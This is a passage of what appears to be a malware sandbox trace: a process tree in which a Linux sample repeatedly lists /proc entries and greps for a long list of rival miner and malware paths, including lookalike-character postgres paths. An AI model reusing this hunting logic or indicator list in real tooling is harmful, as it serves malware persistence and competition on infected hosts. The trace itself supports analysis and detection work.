  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1584
- /bin/grep
  grep -q systemd
  2⤵
  PID:1586
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1588
- /bin/grep
  grep exe
  2⤵
  PID:1591
- /bin/ls
  ls -latrh /proc/fb
  2⤵
  PID:1590
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1593
- /bin/grep
  grep -q systemd
  2⤵
  PID:1595
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1597
- /bin/grep
  grep exe
  2⤵
  PID:1600
- /bin/ls
  ls -latrh /proc/filesystems
  2⤵
  PID:1599
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1602
- /bin/grep
  grep -q systemd
  2⤵
  PID:1604
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1606
- /bin/grep
  grep exe
  2⤵
  PID:1609
- /bin/ls
  ls -latrh /proc/fs
  2⤵
  PID:1608
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1611
- /bin/grep
  grep -q systemd
  2⤵
  PID:1613
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1615
- /bin/grep
  grep exe
  2⤵
  PID:1618
- /bin/ls
  ls -latrh /proc/interrupts
  2⤵
  PID:1617
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1620
- /bin/grep
  grep -q systemd
  2⤵
  PID:1622
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1624
- /bin/grep
  grep exe
  2⤵
  PID:1627
- /bin/ls
  ls -latrh /proc/iomem
  2⤵
  PID:1626
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1629
- /bin/grep
  grep -q systemd
  2⤵
  PID:1631
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1633
- /bin/grep
  grep exe
  2⤵
  PID:1636
- /bin/ls
  ls -latrh /proc/ioports
  2⤵
  PID:1635
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1638
- /bin/grep
  grep -q systemd
  2⤵
  PID:1640
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1642
- /bin/grep
  grep exe
  2⤵
  PID:1645
- /bin/ls
  ls -latrh /proc/irq
  2⤵
  PID:1644
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1647
- /bin/grep
  grep -q systemd
  2⤵
  PID:1649
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1651
- /bin/grep
  grep exe
  2⤵
  PID:1654
- /bin/ls
  ls -latrh /proc/kallsyms
  2⤵
  PID:1653
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1656
- /bin/grep
  grep -q systemd
  2⤵
  PID:1658
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1660
- /bin/grep
  grep exe
  2⤵
  PID:1663
- /bin/ls
  ls -latrh /proc/kcore
  2⤵
  PID:1662
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1665
- /bin/grep
  grep -q systemd
  2⤵
  PID:1667
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1669
- /bin/grep
  grep exe
  2⤵
  PID:1672
- /bin/ls
  ls -latrh /proc/keys
  2⤵
  PID:1671
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1674
- /bin/grep
  grep -q systemd
  2⤵
  PID:1676
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1678
- /bin/grep
  grep exe
  2⤵
  PID:1681
- /bin/ls
  ls -latrh /proc/key-users
  2⤵
  PID:1680
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1683
- /bin/grep
  grep -q systemd
  2⤵
  PID:1685
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1687
- /bin/grep
  grep exe
  2⤵
  PID:1690
- /bin/ls
  ls -latrh /proc/kmsg
  2⤵
  PID:1689
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1692
- /bin/grep
  grep -q systemd
  2⤵
  PID:1694
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1696
- /bin/grep
  grep exe
  2⤵
  PID:1699
- /bin/ls
  ls -latrh /proc/kpagecgroup
  2⤵
  PID:1698
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1701
- /bin/grep
  grep -q systemd
  2⤵
  PID:1703
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1705
- /bin/grep
  grep exe
  2⤵
  PID:1708
- /bin/ls
  ls -latrh /proc/kpagecount
  2⤵
  PID:1707
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1710
- /bin/grep
  grep -q systemd
  2⤵
  PID:1712
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1714
- /bin/grep
  grep exe
  2⤵
  PID:1717
- /bin/ls
  ls -latrh /proc/kpageflags
  2⤵
  PID:1716
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1719
- /bin/grep
  grep -q systemd
  2⤵
  PID:1721
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1723
- /bin/grep
  grep exe
  2⤵
  PID:1726
- /bin/ls
  ls -latrh /proc/loadavg
  2⤵
  PID:1725
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1728
- /bin/grep
  grep -q systemd
  2⤵
  PID:1730
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1732
- /bin/grep
  grep exe
  2⤵
  PID:1735
- /bin/ls
  ls -latrh /proc/locks
  2⤵
  PID:1734
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1737
- /bin/grep
  grep -q systemd
  2⤵
  PID:1739
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1741
- /bin/grep
  grep exe
  2⤵
  PID:1744
- /bin/ls
  ls -latrh /proc/meminfo
  2⤵
  PID:1743
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1746
- /bin/grep
  grep -q systemd
  2⤵
  PID:1748
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1750
- /bin/grep
  grep exe
  2⤵
  PID:1753
- /bin/ls
  ls -latrh /proc/misc
  2⤵
  PID:1752
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1755
- /bin/grep
  grep -q systemd
  2⤵
  PID:1757
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1759
- /bin/grep
  grep exe
  2⤵
  PID:1762
- /bin/ls
  ls -latrh /proc/modules
  2⤵
  PID:1761
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1764
- /bin/grep
  grep -q systemd
  2⤵
  PID:1766
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1768
- /bin/grep
  grep exe
  2⤵
  PID:1771
- /bin/ls
  ls -latrh /proc/mounts
  2⤵
  PID:1770
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1773
- /bin/grep
  grep -q systemd
  2⤵
  PID:1775
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1777
- /bin/grep
  grep exe
  2⤵
  PID:1780
- /bin/ls
  ls -latrh /proc/net
  2⤵
  PID:1779
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1782
- /bin/grep
  grep -q systemd
  2⤵
  PID:1784
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1786
- /bin/grep
  grep exe
  2⤵
  PID:1789
- /bin/ls
  ls -latrh /proc/pagetypeinfo
  2⤵
  PID:1788
- /bin/grep
